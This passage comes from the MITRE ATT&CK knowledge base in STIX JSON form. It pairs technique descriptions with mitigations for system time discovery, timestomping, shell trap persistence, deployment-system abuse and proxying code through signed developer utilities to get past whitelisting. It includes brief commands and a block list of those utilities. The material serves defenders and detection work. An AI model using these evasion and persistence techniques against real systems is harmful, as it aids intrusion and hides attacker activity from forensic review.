SYSTEM\n\nContributors: Ryan Becwar, McAfee",
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                    "source_name": "Wikipedia BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "url": "https://en.wikipedia.org/wiki/BIOS"
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                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface"
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                {
                    "source_name": "About UEFI",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "url": "http://www.uefi.org/about"
                },
                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
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                    "source_name": "MITRE Copernicus",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
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                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
                },
                {
                    "source_name": "Github CHIPSEC",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "url": "https://github.com/chipsec/chipsec"
                },
                {
                    "source_name": "Intel HackingTeam UEFI Rootkit",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
                    "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
                }
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            "created": "2018-01-17T12:56:55.080Z",
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            "name": "System Information Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1082",
                    "external_id": "T1082"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "System Time Discovery Mitigation",
            "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1124",
                    "external_id": "T1124"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:37.450Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "System Time Discovery",
            "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1124",
                    "external_id": "T1124"
                },
                {
                    "source_name": "MSDN System Time",
                    "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.",
                    "url": "https://msdn.microsoft.com/ms724961.aspx"
                },
                {
                    "source_name": "Technet Windows Time Service",
                    "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings"
                },
                {
                    "source_name": "RSA EU12 They're Inside",
                    "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
                    "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters",
                "API monitoring"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Taint Shared Content Mitigation",
            "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1080",
                    "external_id": "T1080"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:01.759Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Taint Shared Content",
            "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1080",
                    "external_id": "T1080"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_system_requirements": [
                "Access to shared folders and content with write permissions"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Third-party Software Mitigation",
            "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1072",
                    "external_id": "T1072"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:57.201Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Third-party Software",
            "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
            "kill_chain_phases": [
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                    "phase_name": "execution"
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                {
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                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1072",
                    "external_id": "T1072"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Binary file metadata",
                "File monitoring",
                "Process monitoring",
                "Process use of network",
                "Third-party application logs",
                "Windows Registry"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_remote_support": true,
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Timestomp Mitigation",
            "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1099",
                    "external_id": "T1099"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:12.675Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Timestomp",
            "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1099",
                    "external_id": "T1099"
                },
                {
                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Trap Mitigation",
            "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1154",
                    "external_id": "T1154"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Trap",
            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1154",
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        },
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            "id": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Trusted Developer Utilities Mitigation",
            "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1127",
                    "external_id": "T1127"
                },
                {
                    "source_name": "Exploit Monday Mitigate Device Guard Bypases",
                    "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.",
                    "url": "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html"
                },
                {
                    "source_name": "GitHub mattifestation DeviceGuardBypass",
                    "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.",
                    "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules"
                },
                {
                    "source_name": "Microsoft GitHub Device Guard CI Policies",
                    "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.",
                    "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md"
                },
                {
                    "source_name": "SubTee MSBuild",
                    "description": "[ Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016."
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:39.262Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Trusted Developer Utilities",
            "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1127",
                    "external_id": "T1127"
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                    "source_name": "Exploit Monday WinDbg",
